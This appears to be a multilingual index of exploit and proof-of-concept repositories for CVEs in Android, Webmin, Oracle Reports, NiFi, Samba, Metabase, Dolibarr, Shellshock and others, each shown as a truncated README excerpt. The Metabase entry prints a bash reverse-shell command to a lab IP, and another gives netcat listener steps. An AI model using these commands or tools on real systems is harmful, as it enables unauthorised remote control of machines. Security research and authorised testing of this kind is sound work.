cve-2024-31317

Exploration of CVE-2024-31317 CVE-2024-31317 provides unpriviledged access to any uid and SELinux scope available to proper Android apps. This provides access to uid 1000 system and uid 2000 shell, and can be triggered entirely from an unpriviledged app, allowing for persistence of any...

CVE-2019-9624

CVE-2019-9624 针对 Webmin 1.9.0 的认证 RCE Webmin 1.900 认证 RCE - CVE-2019-9624 漏洞利用 1. 漏洞描述 CVE-2019-9624 是 Webmin 1.900 及之前版本中的一个认证远程代码执行 RCE 漏洞。它允许管理员用户通过 shell 或 file 模块以 root 权限 执行任意系统命令。 2. 技术执行流程 步骤 1: 认证与会话管理 Webmin 使用自定义认证处理器。要成功进行自动化登录，需要满足以下条件： 测试 Cookie: 必须发送 testing=1 的 Cookie 以满足 Webmin...

pwnacle-fusion

pwnacle-fusion Oracle Reports 用の自動エクスプロイト、CVE-2012-3153 / CVE-2012-3152 開示してくれた @misssudo にクレジット 使い方: ./pwnacle.rb targeturl payloadurl このエクスプロイトは両方の CVE を使用して、payloadurl から .jsp シェルをアップロードします。アップロードされたシェルは /reports/images/shell.jsp からアクセス可能になります。 payloadurl には .jsp...

xiaomi15-dada-cve-2026-64560

Xiaomi 15（dada）CVE-2026-64560 针对 NebuSec CVE-2026-64560 Android 概念验证的特定设备适配版本，适用于某一精确的 Xiaomi 15 构建版本。它通过仅限 ADB shell 的辅助程序，为当前启动提供临时 root 访问权限。 !WARNING 这是实验性内核漏洞利用代码。它可能导致设备重启、内核状态损坏或数据丢失。请仅在您拥有或明确获授权测试的设备上使用。请先备份重要数据。 支持的目标 属性| 必需值 ---|--- 设备| Xiaomi 15 / dada 指纹|...

CVE-2023-34468

CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC Short Python PoC for abusing an editable Apache NiFi ExecuteSQL processor with an H2 RUNSCRIPT payload to trigger remote command execution through a Bash reverse shell. For authorized testing and research only. Do not use against system...

CVE-2026-4480-PoC

CVE-2026-4480-PoC CVE-2026-4480 – Samba Print Job Name Command Injection Overview CVE-2026-4480 is a command injection vulnerability affecting certain Samba printing configurations that use external print commands. The vulnerability exists because Samba inserts user-controlled print job metadata...

CVE-2026-27971_POC

CVE-2026-27971 — Qwik server$ 未認証RCE PoC !WARNING このリポジトリには、アクティブなリモートコード実行の概念実証が含まれています。自分が所有するシステム、または明示的にテストする許可を得ているシステムに対してのみ使用してください。作者は、許可されていない使用や損害について一切の責任を負いません。 CVE-2026-27971 / GHSA-p9x5-jp3h-96mm のスタンドアロンPython概念実証です。これは、Qwik server$ RPC デシリアライゼーション機構における未認証のリモートコード実行脆弱性です。...

CVE-2024-4157-SSRF-RCE-Reverse-Shell

CVE-2024-4157: Getting Reverse Shell on Havoc C2 - Chaining SSRF with RCE Get reverse-shell with local IP and Port, chaining CVE-2024-4157 POC with havocauthrce Usage Basic info root@kitploit: $ python3 exploit.py usage: exploit.py -h -t TARGET -i IP -p PORT -A USERAGENT -H HOSTNAME -u USERNAME -...

CVE-2009-4623

CVE-2009-4623 Remote shell on CVE-2009-4623: Get a non-interactive shell, open another shell for an advanced use !!! usage: CVE-2009-4623.sh hostnameandPath example: CVE-2009-4623.sh http://192.168.1.24/advancedcommentsystem/admin.php options: -h this cruft...

BlueDoor

BlueDoor CTF Challenge Overview Challenge Name : BlueDoor CVE : CVE-2017-0144 EternalBlue Difficulty : 3/5 Category : Exploitation, Windows Authors : Seth Davis BlueDoor simulates a real-world vulnerability EternalBlue - CVE-2017-0144 in a Windows 7 system. The objective is to exploit the...

CVE-2022-42889-text4shell

CVE-2022-42889-text4shell 描述 此脚本是一个渗透测试工具，旨在利用 Apache Commons Text（版本 -param $PARAMETER -L $LHOST -P $LPORT 示例 root@kitploit: python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139 免责声明 此工具仅用于教育目的和经过授权的渗透测试。作者不对因使用此脚本而导致的任何滥用或损害负责。...

CVE-2024-4439

Exploit CVE-2024-4439 This Python script demonstrates an exploit for the vulnerability CVE-2024-4439. You can use this script to test a vulnerable WordPress site. Usage Before start root@kitploit: git clone https://github.com/soltanali0/CVE-2024-4439.git cd CVE-2024-4439 pip install -r r.txt...

CVE-2017-9757

Exploit for syncbreeze Shellcode to obtain a shell from Syncbreeze v10.0.28...

bash-4.2-fixed-CVE-2014-6271

Introduction This is GNU Bash, version 4.2. Bash is the GNU Project's Bourne Again SHell, a complete implementation of the POSIX shell spec, but also with interactive command line editing, job control on architectures that support it, csh-like features such as history substitution and brace...

CVE-2023-38646

CVE-2023-38646 原始脚本来源于securezeron 我在测试过程中发现该poc生成的反向shell在经过base6编码后因为末尾的'='字符导致利用失败。对它稍作修改解决了这个问题。 root@kitploit: 原始的生成reverse shell负载的代码 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ==' 修改后的生成reverse shell负载的代码没有‘=...

CVE-2019-18276

-Study and proof of concept PoC of the vulnerability CVE-2019-18276: The gotham directory contains a Dockerfile, a Makefile, and a shell script exploit.sh, essential for the demonstration. To run the demonstration: Follow the instructions and explanations in the attached video: demoCVE201918276.m...

CVE-2014-6271

Shellshock Vulnerability Checker This script checks if a website is vulnerable to the Shellshock vulnerability CVE-2014-6271. Summary: The Shellshock vulnerability, also known as Bashdoor, is a security flaw that was discovered in September 2014 in the Unix Bash shell. The vulnerability allows...

CVE-2019-15107

CVE-2019-15107 POC for CVE 2019-15107 Use for educational purpose only. To use, opena listener on your machine nc -lnvp Modify the perl command to match your ip and port. Launch the script, a reverse shell will open on your listener. The python script will timeout, this is expected...

POC-exploit-for-Dolibarr

POC exploit for Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...

CVE-2018-20162-digi-lr54-restricted-shell-escape

layout: post title: "CVE-2018-20162: Digi TransPort LR54 Restricted Shell Escape" author: sgo category: security The Digi TransPort LR54 is a high speed LTE router commonly used by industry, infrastructure, retail and public transportation. It supports running python scripts in a restricted...